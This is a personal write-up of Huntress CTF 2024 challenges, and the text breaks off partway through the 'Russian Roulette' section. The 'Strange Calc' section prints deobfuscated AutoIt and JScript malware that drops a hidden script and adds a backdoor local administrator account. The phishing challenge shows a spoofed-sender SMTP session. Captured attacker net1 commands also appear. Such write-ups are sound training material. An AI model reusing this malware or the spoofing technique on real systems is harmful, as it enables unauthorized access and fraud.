Huntress CTF 2024
Huntress held its second CTF competition this year for Cybersecurity Awareness Month, which lasted throughout October. This was my second time participating. With 4,763 points, I achieved 182nd place out of 3,446 teams, with a total of 7,365 players — a result I'm quite proud of, considering that last year, with 1,850 points, I reached 419th place out of 4,212 teams.
Read the Rules
Author: @JohnHammond
“Please follow the rules for this CTF!”
View the page source of the rules page and you can find the flag.
1
2
3
4
5
</p>
<!-- Thank you for reading the rules! Your flag is: -->
<!-- flag{90bc54705794a62015369fd8e86e557b} -->
<h1 class="m-0">Legalese</h1>
<p>
Flag: flag{90bc54705794a62015369fd8e86e557b}
MatryoshkaQR
Author: @JohnHammond
Category: Warmups
Wow! This is a big QR code! I wonder what it says…?
You were given a file qrcode.png
, which contained a fairly large QR code. I used an online tool to decode it. When decoded, the raw text from the QR code is as follows:
1
\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00'\x00\x00\x00'\x01\x00\x00\x00\x00\xa4\xd8l\x98\x00\x00\x00\xf5IDATx\x9c\x01\xea\x00\x15\xff\x01\xff\x00\x00\x00\xff\x00\x80\xa2\xd9\x1a\x02\x00\xbe\xe6T~\xfa\x04\xe4\xff\x0fh\x90\x02\x00\x1a\x7f\xdc\x00\x02\x00\xde\x01H\x00\x00\xbe\xd5\x95J\xfa\x04\xc2*\x15`\x08\x00\xff\x9d.\x9f\xfe\x04\xfd#P\xc3\x0b\x02\x97\x0e:\x07d\x04/vIg\x19\x00\xbb\xcd\xf3-\xd2\x02\xfb\xd6d\xb5\x88\x02E\xc7^\xdf\xfc\x00\x84\xfb\x13\xf3J\x02\xfd\x88a\xefD\x00\xc8t$\x90\n\x01\xc7\x01\xee1\xf7\x043Q\x17\x0cH\x01\xa5\x03\x1c6d\x02\r\xf0\xbfV$\x00\xcf\x13d3\x06\x01\xee\x08J\xf5E\x00\x9b\xee\n\xac\xfa\x01\xea|\xf2\xe86\x04\xb3\xc9\x84\xf7\xb4\x02\t\x90U%\x14\x00\xbf g\xa5\xee\x02\xfbH\xf1#4\x00\xff\xa1!;\x86\x02\x81VB\xdf\xfc\x04>\xb1s\x00\x10\x02\xe4>\xab-p\x00\xa2\xc6\xfe\xf6\xee\x04\x00\x05\xcbl5\x02\x1c\xfc\x85;\xd0\x02\xc2\xfb\xe6A\x00\x01\xff\x00\x00\x00\xff\xf9\xdb_g\xf4\x9a\xddH\x00\x00\x00\x00IEND\xaeB`\x82
You can tell from the \x89PNG\r\n\x1a\n
portion that it is another PNG image in hex format.
I asked ChatGPT to create a quick and simple Python script to save the data as a PNG image.
1
2
3
4
5
6
7
8
# Your hex data (binary representation of PNG)
data = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00'\x00\x00\x00'\x01\x00\x00\x00\x00\xa4\xd8l\x98\x00\x00\x00\xf5IDATx\x9c\x01\xea\x00\x15\xff\x01\xff\x00\x00\x00\xff\x00\x80\xa2\xd9\x1a\x02\x00\xbe\xe6T~\xfa\x04\xe4\xff\x0fh\x90\x02\x00\x1a\x7f\xdc\x00\x02\x00\xde\x01H\x00\x00\xbe\xd5\x95J\xfa\x04\xc2*\x15`\x08\x00\xff\x9d.\x9f\xfe\x04\xfd#P\xc3\x0b\x02\x97\x0e:\x07d\x04/vIg\x19\x00\xbb\xcd\xf3-\xd2\x02\xfb\xd6d\xb5\x88\x02E\xc7^\xdf\xfc\x00\x84\xfb\x13\xf3J\x02\xfd\x88a\xefD\x00\xc8t$\x90\n\x01\xc7\x01\xee1\xf7\x043Q\x17\x0cH\x01\xa5\x03\x1c6d\x02\r\xf0\xbfV$\x00\xcf\x13d3\x06\x01\xee\x08J\xf5E\x00\x9b\xee\n\xac\xfa\x01\xea|\xf2\xe86\x04\xb3\xc9\x84\xf7\xb4\x02\t\x90U%\x14\x00\xbf g\xa5\xee\x02\xfbH\xf1#4\x00\xff\xa1!;\x86\x02\x81VB\xdf\xfc\x04>\xb1s\x00\x10\x02\xe4>\xab-p\x00\xa2\xc6\xfe\xf6\xee\x04\x00\x05\xcbl5\x02\x1c\xfc\x85;\xd0\x02\xc2\xfb\xe6A\x00\x01\xff\x00\x00\x00\xff\xf9\xdb_g\xf4\x9a\xddH\x00\x00\x00\x00IEND\xaeB`\x82"
# Save the binary data to a PNG file
with open('output.png', 'wb') as f:
f.write(data)
print("File saved as output.png")
I then took the output.png
file, uploaded it again to the online QR reader, and the information in the QR code revealed the flag.
Flag: flag{01c6e24c48f48856ee3adcca00f86e9b}
Too Many Bits
Author: @JohnHammond
Category: Warmups
What do all these ones and zero’s mean!?! We are in the Warmups category after all…
From the description, it was obvious that the data was in binary format. I pasted it into CyberChef and used the “Magic” function to decode it.
1
01100110 01101100 01100001 01100111 01111011 01100100 00110000 00110001 00110100 00110111 00110001 00110111 00110000 00110010 01100001 00110001 00110000 00110001 00110011 00110100 01100011 01100100 01100001 01100100 00110001 01100100 01100100 01100100 01100101 00110000 00110110 00110110 00110111 00111000 01100110 00110010 01100110 01111101
The output from Cyberchef is the flag.
Flag: flag{d01471702a10134cdad1ddde06678f2f}
Base64by32
Author: @JohnHammond
Category: Scripting
This is a dumb challenge. I’m sorry.
For this challenge, you are provided with a file named base64by32.zip
. When you unzip the file, you get another file that contains a lot of text.
1
2
3
┌──(kali㉿kali)-[~/Downloads]
└─$ wc base64by32
8524 8524 656340 base64by32
From the name of the challenge, I figured out that I needed to decode the file 32 times using Base64. I asked ChatGPT to create a quick Python script to automate the process. I placed the script in the same directory as the file and ran it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import base64
def decode_base64_32_times(input_file, output_file):
# Read the encoded content from the input file
with open(input_file, 'rb') as f:
encoded_content = f.read()
# Decode the content 32 times
for _ in range(32):
encoded_content = base64.b64decode(encoded_content)
# Write the final decoded content to the output file
with open(output_file, 'wb') as f:
f.write(encoded_content)
print(f"Decoded content written to {output_file}")
# Example usage
input_file = 'base64by32' # Path to the Base64 encoded file
output_file = 'decoded_file.txt' # Path to the file where decoded data will be saved
decode_base64_32_times(input_file, output_file)
The output file contained the flag.
Flag: flag{8b3980f3d33f2ad2f531f5365d0e3970}
Strange Calc
Author: @JohnHammond
Category: Malware
I got this new calculator app from my friend! But it’s really weird, for some reason it needs admin permissions to run??
For this challenge, we were provided with a calc.exe
file. Since I was in the malware category, I started by sending the file to Any.Run to observe its behavior. Under Behavior Activities, it stated that “The process uses AutoIt,” which prompted me to research AutoIt and its functionality. From the findings in Any.Run, I suspected there was some AutoIt code hidden within the calc.exe
file.
So, I used AutoIt-Ripper to extract the AutoIt code from the calc.exe
file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
; <AUT2EXE VERSION: 3.2.4.9>
; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-START: C:\Users\johnh\Desktop\Desktop\otto_calculator.au3>
; ----------------------------------------------------------------------------
#NoTrayIcon
#Region
#AutoIt3Wrapper_Change2CUI=y
#EndRegion
If Not IsAdmin() Then
MsgBox(16, "Error", "You must have administrator privileges.")
Exit
EndIf
Local $a = "I0B+XmNRTUFBQT09VyF4XkRrS3hQbWAoYgk3bC5QMSdFRUJOJyggL2FWa0RjRS0JSippV1cuYzdsLlB/eCFwK0AhW2NWK1VMRHRJKzNRKgktbUQsMCc5JH9EUk0rMlZtbW5jSjcta1F1Jy9fZiZMfkVCKmlyMGNXY2tVTn9hcjZgRTh/b2tVRSoneCdaay0wIGJ4OSs2fTB2RSsJTkUjeyd4VC11MHt4J3JKIzFHVVlieCErSVxDLixveGA2IG00bC4vS04rKU92IWJPMisqW38yaTZXRHZcbS5QNCdxaTRAIVcgXit4VE90cHRfeypiCWIwdnRRJkAqeDZScysJTFk0Izguf2wzSS1tRH5re2M2Ul40bE1aVzkrek9gNCNSJnkjJ38yfkx7YzBjbXRtLi9XOSt6WWN0UXEqT2YgKid2Mn5WeHYwUl40bUQvVzluelljNF95I08yICondjJ+cyd2MCBeNGxEO0dOf2JZdjRRJipPMiBiW39mcG1RJ1VPRGJ4TCA2RFdoLzRsLlpLW39gY2JAIUAhICMtYE5AKkAqVyNiaWIwYzQzIEAhNiBWf3hvRDRSRiptMydqWS5yCW8gME1HOjt0Qy47V05uY3ZgJVs4WCpAIUAhVyMtYDNAKkAqeWIjcGtXYDRfZkAhNlJWf1VvRHRPOGJeX3s/RERyeEwgNkRHOjs0bE1aR1t/YGBjVkwmYkAhQCF/KnVzKjgpRCtERU1VUDFSZEUoL08uYnhvdlR+VCM4N0MuUHMncjRub3JVLHYqYyxSLQlNMW81YiwJSklSZmAiMXdgXUJ2dWIsO15xUiZ7MlMuT2YwL3YoLFtAIShjJiJ6Un8hSX5xS00tVXwneG54OUVpN2wufgknbGNoKmktbE1+Sycscnh/WVAhL38uUGRXXmxeYltoYnhra09EbVlXTX5FXwlfclAmbFtbcn5FeH9PUF5XXkNeb0RHO2FQQ05zcglrZEREbVlXTS8sSlcxbHNiOTpyVWIvWU1DWUtEUEpDW05yfnJtQ1ZeIH82bkpZSVxtRH4ye3grQX56bU9rN25vcjhOKzFZYEV/VV5EYndPUlV0bnNeQiNwV1dNYFxtLn47eyFwO0AhVyBzf3hMWTRSRnA7UVEqCXcgXSF4Y1ddNVl+VEIwbVYvfyMpMlIiRVVgSyQrREJGfjZDVmsrI3A0UkFCQUE9PV4jfkA="
Local $b = x($a)
Local $c = r(4) & r(2) & r(3) & r(1) & ".jse"
Func r($aa)
Local $zz = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
Local $s = ""
For $i = 1 To $aa
$s &= StringMid($zz, Random(1, StringLen($zz), 1), 1)
Next
Return $s
EndFunc
Local $d = FileOpen($c, 2)
If $d = -1 Then
MsgBox(16, "Error", "Failed to open the calculator.")
Exit
EndIf
FileWrite($d, $b)
FileClose($d)
FileSetAttrib($c, "+H")
FileSetAttrib($c, "+S")
Func x($e)
Local $f = DllStructCreate("dword")
DllCall("crypt32.dll", "int", "CryptStringToBinaryA", _
"str", $e, _
"dword", StringLen($e), _
"dword", 1, _
"ptr", 0, _
"ptr", DllStructGetPtr($f), _
"ptr", 0, _
"ptr", 0)
Local $g = DllStructCreate("byte[" & DllStructGetData($f, 1) & "]")
DllCall("crypt32.dll", "int", "CryptStringToBinaryA", _
"str", $e, _
"dword", StringLen($e), _
"dword", 1, _
"ptr", DllStructGetPtr($g), _
"ptr", DllStructGetPtr($f), _
"ptr", 0, _
"ptr", 0)
Return BinaryToString(DllStructGetData($g, 1))
EndFunc
$o = ObjCreate("MSScriptControl.ScriptControl")
$o.Language = "JScript"
$p = "new ActiveXObject('WScript.Shell').Run('wscript.exe " & $c & "',1,false);"
$o.ExecuteStatement($p)
; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-END: C:\Users\johnh\Desktop\Desktop\otto_calculator.au3>
; ----------------------------------------------------------------------------
The Local $a
variable contains a Base64-encoded string that needs to be decoded. I used CyberChef, which resulted in:
1
#@~^cQMAAA==W!x^DkKxPm`(b 7l.P1'EEBN'( /aVkDcE- J*iWW.c7l.P.x!p+@![cV+ULDtI+3Q* -mD,0'9$.DRM+2VmmncJ7-kQu'/_f&L~EB*ir0cWckUN.ar6`E8.okUE*'x'Zk-0 bx9+6}0vE+ NE#{'xT-u0{x'rJ#1GUYbx!+I\C.,ox`6 m4l./KN+)Ov!bO2+*[.2i6WDv\m.P4'qi4@!W ^+xTOtpt_{*b b0vtQ&@*x6Rs+ LY4#8..l3I-mD~k{c6R^4lMZW9+zO`4#R&y#'.2~L{c0cmtm./W9+zYctQq*Of *'v2~Vxv0R^4mD/W9nzYc4_y#O2 *'v2~s'v0 ^4lD;GN.bYv4Q&*O2 b[.fpmQ'UODbxL 6DWh/4l.ZK[.`cb@!@! #-`N@*@*W#bib0c43 @!6 V.xoD4RF*m3'jY.r o 0MG:;tC.;WNncv`%[8X*@!@!W#-`3@*@*yb#pkW`4_f@!6RV.UoDtO8b^_{?DDrxL 6DG:;4lMZG[.``cVL&b@!@!.*us*8)D+DEMUP1RdE(/O.bxovT~T#87C.Ps'r4norU,v*c,R- M1o5b, JIRf`"1w`]Bvub,;^qR&{2S.Of0/v(,[@!(c&"zR.!I~qKM-U|'xnx9Ei7l.~ 'lch*i-lM~K',rx.YP!/..PdW^l^b[hbxkkODmYWM~E_ _rP&l[[r~Ex.OP^W^C^oDG;aPCNsr kdDDmYWM/,JW1lsb9:rUb/YMCYKDPJC[Nr~rmCV^ .6nJYI\mD~2{x+A~zmOk7nor8N+1Y`E.U^DbwORUtns^B#pWWM`\m.~;{!p;@!W s.xLY4RFp;QQ* w ]!xcW]5Y~TB0mV/.#)2R"EU`K$+DBF~6CVk+#p4RABAA==^#~@
That is encoded using Microsoft Script, which CyberChef can also decode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function a(b) {
var c = "",
d = b.split("\n");
for (var e = 0; e < d.length; e++) {
var f = d[e].replace(/^\s+|\s+$/g, '');
if (f.indexOf("begin") === 0 || f.indexOf("end") === 0 || f === "") continue;
var g = (f.charCodeAt(0) - 32) & 63;
for (var h = 1; h < f.length; h += 4) {
if (h + 3 >= f.length) break;
var i = (f.charCodeAt(h) - 32) & 63,
j = (f.charCodeAt(h + 1) - 32) & 63,
k = (f.charCodeAt(h + 2) - 32) & 63,
l = (f.charCodeAt(h + 3) - 32) & 63;
c += String.fromCharCode((i << 2) | (j >> 4));
if (h + 2 < f.length - 1) c += String.fromCharCode(((j & 15) << 4) | (k >> 2));
if (h + 3 < f.length - 1) c += String.fromCharCode(((k & 3) << 6) | l)
}
}
return c.substring(0, g)
}
var m = "begin 644 -\nG9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*\n`\nend";
var n = a(m);
var o = ["net user LocalAdministrator " + n + " /add", "net localgroup administrators LocalAdministrator /add", "calc.exe"];
var p = new ActiveXObject('WScript.Shell');
for (var q = 0; q < o.length - 1; q++) {
p.Run(o[q], 0, false)
}
p.Run(o[2], 1, false);
I encountered some errors when running it in the Firefox console, but after consulting ChatGPT once again, I received the correct JavaScript that displayed the flag when executed in the console.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function a(b) {
var c = "", d = b.split("\n");
for (var e = 0; e < d.length; e++) {
var f = d[e].replace(/^\s+|\s+$/g, '');
if (f.indexOf("begin") === 0 || f.indexOf("end") === 0 || f === "") continue;
var g = (f.charCodeAt(0) - 32) & 63;
for (var h = 1; h < f.length; h += 4) {
if (h + 3 >= f.length) break;
var i = (f.charCodeAt(h) - 32) & 63,
j = (f.charCodeAt(h + 1) - 32) & 63,
k = (f.charCodeAt(h + 2) - 32) & 63,
l = (f.charCodeAt(h + 3) - 32) & 63;
c += String.fromCharCode((i << 2) | (j >> 4));
if (h + 2 < f.length - 1) c += String.fromCharCode(((j & 15) << 4) | (k >> 2));
if (h + 3 < f.length - 1) c += String.fromCharCode(((k & 3) << 6) | l);
}
}
return c.substring(0, g);
}
// Use backticks for multi-line strings
var m = `begin 644 -
G9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*
end`;
// Call the function and log the result
var n = a(m);
console.log(n);
From the chat about this challenge during the event, I gathered that the trick was that the JavaScript was intentionally broken. This meant that I had to carefully examine the code myself to retrieve the flag.
Flag: flag{9922fb21aaf1757e3fdb28d7890a5d93}
No need for Brutus
Author: @aenygna
Category: Cryptography
A simple message for you to decipher: squiqhyiiycfbudeduutvehrhkjki
For this challenge, I used ChatGPT as a quick decoder. The name of the challenge is an obvious reference to Caesar ciphers.
1
2
3
4
5
6
7
I'll first attempt a Caesar cipher, where I shift the letters by various amounts to see if any meaningful text emerges. Let's go through each possible shift and see if any of them yield a readable message.
It looks like the shift of 16 yields the phrase:
"caesarissimplenoneedforbrutus"
This suggests that the cipher was encoded using a Caesar shift of 16, and the decoded message is:
"Caesar is simple, no need for Brutus."
Let me know if this was the message you were expecting
Afterwards, I used CyberChef to MD5 hash the string and then submitted the flag.
Flag: flag{c945bb2173e7da5a292527bbbc825d3f}
Red Phish Blue Phish
Author: Truman Kain (@truman.huntress), Adam Rice (@adam.huntress)
Category: Miscellaneous
You are to conduct a phishing excercise against our client, Pyrch Data. We’ve identified the Marketing Director, Sarah Williams (swilliams@pyrchdata.com), as a user susceptible to phishing. Are you able to successfully phish her? Remember your OSINT ;)
NOTE: The port that becomes accessible upon challenge deployment is an SMTP server. Please use this for sending any phishing emails. You will not receive an email/human response as the mail infrastructure for this challenge is emulated.
We were given an SMTP server to connect to. I used Telnet instead of Netcat, as it handled commands better without issuing errors with the SMTP server.
The description also mentioned that the challenge involved OSINT. When Googling Pyrch Data, I found the fake company website, which features a subpage listing all the employees. Out of the eight individuals listed, one of them holds the title “IT Security Manager.”
The idea behind this challenge is that by tricking people into believing you are from the IT Security department, you can gain access to sensitive information. To solve this challenge, you “just” need to send a message as Joe Davaren from Pyrch Data.
Below you can see the interaction I had with the SMTP server.
For the content of the message, I included some common phishing words.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
EHLO pyrchdata.com
250-red-phish-blue-phish-3294229a756fb288-7c779dd99-88fg2
250-SIZE 33554432
250-8BITMIME
250-SMTPUTF8
250 HELP
MAIL FROM:<jdaveren@pyrchdata.com>
250 OK
RCPT TO:<swilliams@pyrchdata.com>
250 OK
data
354 End data with <CR><LF>.<CR><LF>
Click Here Update Password Confirm Identity
.
250 OK. flag{54c6ec05ca19565754351b7fcf9c03b2}
Flag: flag{54c6ec05ca19565754351b7fcf9c03b2}
Cattle
Author: @JohnHammond
Category: Warmups
I know it’s an esoteric challenge for a Capture the Flag, but could you herd these cows for me?
I used a JavaScript Cow Interpreter for this challenge.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
OOO MoO MoO MoO MoO MoO MoO MoO MoO MMM moO MMM MMM moO MMM MOO MOo mOo MoO moO moo mOo
MMM moO MMM MMM moO MMM MOO MOo mOo MoO moO moo mOo MMM moO MMM MMM moO MMM MOO MOo mOo
MoO moO moo OOO moO OOO mOo mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO
MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo MMM
moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo moO MoO
MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo MMM moO MMM MOO
MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo moO MoO Moo mOo OOO
moO OOO mOo mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO
MoO mOo moo moO MoO MoO MoO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo MMM moO MMM MOO
MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO
moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO Moo
mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO
moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo
mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo
moO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo
MMM moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo
mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO moO moO MMM MOO MOo moO
MoO mOo moo moO MoO MoO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM
MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO moO moO MMM MOO MOo moO MoO mOo moo moO MoO
MoO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo
mOo MMM moO moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO MoO MoO MoO MoO MoO
Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM
moO moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO Moo mOo OOO moO OOO mOo mOo MMM moO
MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO
MoO MoO MoO Moo mOo OOO moO OOO mOo mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM
moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO
moO MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO moO moO MMM MOO MOo moO MoO mOo moo
moO MoO MoO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO
MoO mOo moo moO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO Moo mOo
OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO moO
moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO MoO MoO MoO MoO MoO Moo mOo OOO moO
OOO mOo mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO
mOo moo moO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO MoO
mOo moo mOo mOo mOo MMM moO moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO MoO
MoO Moo mOo OOO moO OOO mOo mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO
MMM MOO MOo moO MoO mOo moo moO MoO Moo mOo OOO moO OOO mOo mOo MMM moO MMM MOO MOo moO
MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO MoO Moo
mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO
moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo MMM
moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo moO MoO
MoO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo
mOo MMM moO moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO Moo mOo OOO moO OOO mOo
mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO moO moO MMM MOO MOo
moO MoO mOo moo moO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo
moO MoO mOo moo mOo mOo mOo MMM moO moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO Moo
mOo OOO moO OOO mOo mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO
MOo moO MoO mOo moo moO MoO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo MMM moO MMM MOO
MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO
MoO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo
mOo MMM moO moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO MoO MoO Moo mOo OOO
moO OOO mOo mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO
MoO mOo moo moO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo
moo mOo mOo mOo MMM moO moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO Moo mOo OOO
moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO moO moO
MMM MOO MOo moO MoO mOo moo moO MoO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM
MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO moO moO MMM MOO MOo moO MoO mOo moo moO MoO
Moo mOo OOO moO OOO mOo mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO MMM
MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO
MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO moO moO MMM MOO MOo moO MoO mOo moo moO
MoO MoO MoO MoO MoO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo MMM moO MMM MOO MOo moO
MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO Moo mOo
OOO moO OOO mOo mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo
moO MoO mOo moo moO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo MMM moO MMM MOO MOo moO
MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO moO moO
MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO Moo
mOo
Flag: flag{6cd6392eb609c6ae4c332ef6a321d9dd}
Nightmare on Hunt Street
Author: Austin Worline, Jose Oregon, and Adrian Garcia
Category: Forensics
DeeDee hears the screams, In the logs, a chilling trace— Freddy’s waiting near.
Nightmare on Hunt Street Part #1
What is the IP address of the host that the attacker used?
Answer: 10.1.1.42
Nightmare on Hunt Street Part #2
How many times was the compromised account brute-forced? Answer just the integer value.
I got Gigasheet to analyze it:
1
Yes, there are indications of brute-force attempts in the dataset. I found 32 failed logon attempts (EventID 4625) with a consistent failure reason, targeting a single username from a single IP address. This suggests a possible brute-force attack scenario. Would you like more detailed information or further analysis on this?
Answer: 32
Nightmare on Hunt Street Part #4
How many unique enumeration commands were run with net.exe? Answer just the integer value.
1
2
3
<Data Name="CommandLine">C:\Windows\system32\net1 share</Data>
<Data Name="CommandLine">C:\Windows\system32\net1 user susan_admin "SusanIsStrong123" /ADD</Data>
<Data Name="CommandLine">C:\Windows\system32\net1 localgroup administrators susan_admin /ADD</Data>
Answer: 3
Nightmare on Hunt Street Part #5
What password was successfully given to the user created?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}"/>
<EventID>4688</EventID>
<Version>2</Version>
<Level>0</Level>
<Task>13312</Task>
<Opcode>0</Opcode>
<Keywords>0x8020000000000000</Keywords>
<TimeCreated SystemTime="2024-09-24T21:11:53.838745300Z"/>
<EventRecordID>234535</EventRecordID>
<Correlation/>
<Execution ProcessID="4" ThreadID="404"/>
<Channel>Security</Channel>
<Computer>EC2AMAZ-0TD157D</Computer>
<Security/>
</System>
<EventData>
<Data Name="SubjectUserSid">S-1-5-18</Data>
<Data Name="SubjectUserName">EC2AMAZ-0TD157D$</Data>
<Data Name="SubjectDomainName">WORKGROUP</Data>
<Data Name="SubjectLogonId">0x00000000000003e7</Data>
<Data Name="NewProcessId">0x0000000000000be8</Data>
<Data Name="NewProcessName">C:\Windows\SysWOW64\net1.exe</Data>
<Data Name="TokenElevationType">%%1936</Data>
<Data Name="ProcessId">0x00000000000004dc</Data>
<Data Name="CommandLine">C:\Windows\system32\net1 user susan_admin Susan123! /ADD</Data>
<Data Name="TargetUserSid">S-1-0-0</Data>
<Data Name="TargetUserName">-</Data>
<Data Name="TargetDomainName">-</Data>
<Data Name="TargetLogonId">0x0000000000000000</Data>
<Data Name="ParentProcessName">C:\Windows\SysWOW64\net.exe</Data>
<Data Name="MandatoryLabel">S-1-16-16384</Data>
</EventData>
</Event>
Answer: Susan123!
Russian Roulette
Author: @JohnHammond
Category: Malware
My PowerShell has been acting really weird!! It takes a few seconds to start up, and sometimes it just crashes my computer!?!?! :(
First, I started by analyzing the LNK file using lnkinfo
, which extracts information from the link file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/Downloads]
└─$ lnkinfo Windows\ PowerShell.lnk
lnkinfo 20181227
Windows Shortcut information:
Contains a link target identifier
Contains a relative path string
Contains a working directory string
Contains a command line arguments string
Link information:
Creation time : Feb 16, 2024 21:44:00.915218400 UTC
Modification time : Feb 16, 2024 21:44:00.915218400 UTC
Access time : Oct 03, 2024 09:53:00.814243900 UTC
File size : 450560 bytes
Icon index : 0
Show Window value : 0x0006e000
Hot Key value : 57344
File attribute flags : 0x00000020
